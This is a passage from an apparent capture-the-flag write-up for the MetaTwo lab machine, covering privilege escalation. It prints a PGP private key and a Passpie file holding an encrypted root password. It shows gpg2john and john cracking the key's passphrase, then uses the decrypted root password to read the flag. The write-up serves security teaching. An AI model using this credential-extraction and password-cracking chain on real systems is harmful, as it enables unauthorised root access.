FKZv0I+r9CBwjTK3bg/rFOo+DJKkN3hAfkARgU77ptuTJEYsfmho84ZaR3KSpX4L
/244aRzuaTW75hrZCJ4RxWxh8vGw0+/kPVDyrDc0XNv6iLIMt6zJGddVfRsFmE3Y
q2wOX/RzICWMbdreuQPuF0CkcvvHMeZX99Z3pEzUeuPu42E6JUj9DTYO8QJRDFr+
F2mStGpiqEOOvVmjHxHAduJpIgpcF8z18AosOswa8ryKg3CS2xQGkK84UliwuPUh
S8wCQQxveke5/IjbgE6GQOlzhpMUwzih7+15hEJVFdNZnbEC9K/ATYC/kbJSrbQM
RfcJUrnjPpDFgF6sXQJuNuPdowc36zjE7oIiD69ixGR5UjhvVy6yFlESuFzrwyeu
TDl0UOR6wikHa7tF/pekX317ZcRbWGOVr3BXYiFPTuXYBiX4+VG1fM5j3DCIho20
oFbEfVwnsTP6xxG2sJw48Fd+mKSMtYLDH004SoiSeQ8kTxNJeLxMiU8yaNX8Mwn4
V9fOIdsfks7Bv8uJP/lnKcteZjqgBnXPN6ESGjG1cbVfDsmVacVYL6bD4zn6ZN/n
WP4HAwKQfLVcyzeqrf8h02o0Q7OLrTXfDw4sd/a56XWRGGeGJgkRXzAqPQGWrsDC
6/eahMAwMFbfkhyWXlifgtfdcQme2XSUCNWtF6RCEAbYm0nAtDNQYXNzcGllIChB
dXRvLWdlbmVyYXRlZCBieSBQYXNzcGllKSA8cGFzc3BpZUBsb2NhbD6IkAQTEQgA
OBYhBHxnhqdWG8hPUEhnHjh3dcNXRdIDBQJiuFfWAhsjBQsJCAcCBhUKCQgLAgQW
AgMBAh4BAheAAAoJEDh3dcNXRdIDRFQA/3V6S3ad2W9c1fq62+X7TcuCaKWkDk4e
qalFZ3bhSFVIAP4qI7yXjBXZU4+Rd+gZKp77UNFdqcCyhGl1GpAJyyERDZ0BXwRi
uFfWEAQAhBp/xWPRH6n+PLXwJf0OL8mXGC6bh2gUeRO2mpFkFK4zXE5SE0znwn9J
CBcYy2EePd5ueDYC9iN3H7BYlhAUaRvlU7732CY6Tbw1jbmGFLyIxS7jHJwd3dXT
+PyrTxF+odQ6aSEhT4JZrCk5Ef7/7aGMH4UcXuiWrgTPFiDovicAAwUD/i6Q+sq+
FZplPakkaWO7hBC8NdCWsBKIQcPqZoyoEY7m0mpuSn4Mm0wX1SgNrncUFEUR6pyV
jqRBTGfPPjwLlaw5zfV+r7q+P/jTD09usYYFglqJj/Oi47UVT13ThYKyxKL0nn8G
JiJHAWqExFeq8eD22pTIoueyrybCfRJxzlJV/gcDAsPttfCSRgia/1PrBxACO3+4
VxHfI4p2KFuza9hwok3jrRS7D9CM51fK/XJkMehVoVyvetNXwXUotoEYeqoDZVEB
J2h0nXerWPkNKRrrfYh4BBgRCAAgFiEEfGeGp1YbyE9QSGceOHd1w1dF0gMFAmK4
V9YCGwwACgkQOHd1w1dF0gOm5gD9GUQfB+Jx/Fb7TARELr4XFObYZq7mq/NUEC+P
o3KGdNgA/04lhPjdN3wrzjU3qmrLfo6KI+w2uXLaw+bIT1XZurDN
=7Uo6
-----END PGP PRIVATE KEY BLOCK-----

Privilege escalation

The above result is a pair of PGP keys (public and private), which can be used to encrypt messages. Let’s see what’s inside root.pass:

jnelson@meta2:~$ cat .passpie/ssh/root.pass
comment: ''
fullname: root@ssh
login: root
modified: 2022-06-26 08:58:15.621572
name: ssh
password: '-----BEGIN PGP MESSAGE-----


  hQEOA6I+wl+LXYMaEAP/T8AlYP9z05SEST+Wjz7+IB92uDPM1RktAsVoBtd3jhr2  

  nAfK00HJ/hMzSrm4hDd8JyoLZsEGYphvuKBfLUFSxFY2rjW0R3ggZoaI1lwiy/Km

  yG2DF3W+jy8qdzqhIK/15zX5RUOA5MGmRjuxdco/0xWvmfzwRq9HgDxOJ7q1J2ED

  /2GI+i+Gl+Hp4LKHLv5mMmH5TZyKbgbOL6TtKfwyxRcZk8K2xl96c3ZGknZ4a0Gf

  iMuXooTuFeyHd9aRnNHRV9AQB2Vlg8agp3tbUV+8y7szGHkEqFghOU18TeEDfdRg

  krndoGVhaMNm1OFek5i1bSsET/L4p4yqIwNODldTh7iB0ksB/8PHPURMNuGqmeKw

  mboS7xLImNIVyRLwV80T0HQ+LegRXn1jNnx6XIjOZRo08kiqzV2NaGGlpOlNr3Sr

  lpF0RatbxQGWBks5F3o=

  =uh1B

  -----END PGP MESSAGE-----

  '

It is a PGP message, so it must be encrypted with the previous keys. Let’s use PGP Tool to decrypt the message (we need to remove some newlines):

MetaTwo 9

But it requires a password… Fortunately, there’s a tool called gpg2john that extracts a hash from the private key so that john can crack it:

$ gpg2john private.pgp | tee hash

File private.pgp
Passpie:$gpg$*17*54*3072*e975911867862609115f302a3d0196aec0c2ebf79a84c0303056df921c965e589f82d7dd71099ed9749408d5ad17a4421006d89b49c0*3*254*2*7*16*21d36a3443b38bad35df0f0e2c77f6b9*65011712*907cb55ccb37aaad:::Passpie (Auto-generated by Passpie) <passpie@local>::private.pgp  

$ john --wordlist=$WORDLISTS/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 65011712 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 7 for all loaded hashes
Press 'q' or Ctrl-C to abort, almost any other key for status
blink182         (Passpie)
1g 0:00:00:05 DONE 0.2000g/s 33.60p/s 33.60c/s 33.60C/s ginger..987654
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Using this password (blink182) we are able to decrypt the message:

MetaTwo 10

And it is the password for root (p7qfAZt4_A1xo_0x):

jnelson@meta2:~$ su root
Password:
root@meta2:/home/jnelson# cd
root@meta2:~# cat root.txt
f7926c421ac3376a196e9edbff026ae5